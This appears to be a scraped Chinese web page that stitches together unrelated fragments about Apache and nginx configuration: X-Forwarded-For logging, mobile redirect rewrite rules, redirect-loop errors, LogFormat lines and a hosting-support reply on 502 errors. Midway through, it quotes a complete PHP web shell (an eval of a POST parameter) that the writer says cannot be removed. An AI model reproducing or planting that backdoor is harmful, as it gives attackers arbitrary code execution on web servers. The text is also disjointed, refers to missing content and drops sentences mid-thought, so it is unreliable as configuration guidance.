负载均衡器后面的服务器 - 需要允许基于x-forwarded-for的访问

见下面的红色的字有大用

不知道大家有没遇到过，有人到网站去对每篇文章留言，而且都是一些和文章内容毫无关系的东西，什么“路过”，“不错”，“支持”，“呵呵”，最后还来一个超级长的昵称（其实也就是广告名），还带上个网址。

说明：我用的是nginx反向代理，实际上就是在logformat中添加%{X-FORWARDED-FOR}i，下面为实验过程

一、下面是我的nginx反向代理的配置文件内容

nginx主配置主配置文件

apache 显示这样的错误时 "Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace." 中文意思：要求超过10内部重定向由于可能的配置错误的限制。使用“limitinternalrecursion '如果有必要增加限制。使用“调试”LogLevel生成回溯。  这是出现的apache 出现的重定向的错误。

下面两种方法都可以查看 apache版本号

1) # ./httpd -v

AddDefaultCharset UTF-8

ErrorDocument 404 /error.html

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot-mobile|iemobile|iphone|ipod|opera mobile|palmos|webos" [NC]

RewriteCond %{HTTP_HOST} aaa.cn$ [NC]

RewriteCond %{REQUEST_URI} !^.*(\.css|\.js|\.gif|\.png|\.jpg|\.jpeg)$ [NC] 

RewriteRule ^(.*)$ http://wap.aaa.cn/ [NC,R=301]

<IfModule mod_rewrite.c>

    <IfModule mod_negotiation.c>

        Options -MultiViews

    </IfModule>

     RewriteEngine On

    # RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot-mobile|iemobile|iphone|ipod|opera mobile|palmos|webos" [NC]

   #  RewriteCond %{HTTP_HOST} (^40060\.|^www\.40060\.) [NC]

    # RewriteCond %{REQUEST_URI} !^.*(\.css|\.js|\.gif|\.png|\.jpg|\.jpeg)$ [NC]

第一个例子  %{Host}i 表示域名

<IfModule log_config_module>

    #

    # The following directives define some format nicknames for use with

    # a CustomLog directive (see below).

    #

    LogFormat "%h %l %u %t %{Host}i \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

    #LogFormat "%h %l %u %t \"%r\" %>s %b" common

怎么都清除不掉，<?php $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx

每次看到，想到正则表达式中的?和包含?的特殊字符，我脑子里就是一片混沌。

今天特意找相关的书籍，把它们都分清楚。

您好，目前帮您同步了一次服务器的配置文件。出现502还有可能是程序内部执行超时或者报错，由于香港机房采取cdn架构，真实的程序报错无法显示出来，您可以在网站中放一个探针文件，出现异常时候访问探针看看能否正常打开，如果不行可以登录到服务器尝试重启web服务再试访问，如果探针测试正常或者其他域名可以访问，则是程序方面有一些问题，谢谢。

您可以尝试清除浏览器缓存 访问一下你的ＦＴＰ看是否可以登陆

成功解决502 Bad Gateway错误

正常情况下，根本就没有必要记录这一项，毕竟咱们大都根据虚拟主机来设置相应的访问日志，但也有个别的情况，比如

 LogFormat "%h %l  %u %t \"%v\" \"%r\" %>s %b duration %T/%D %{msec_frac}t" common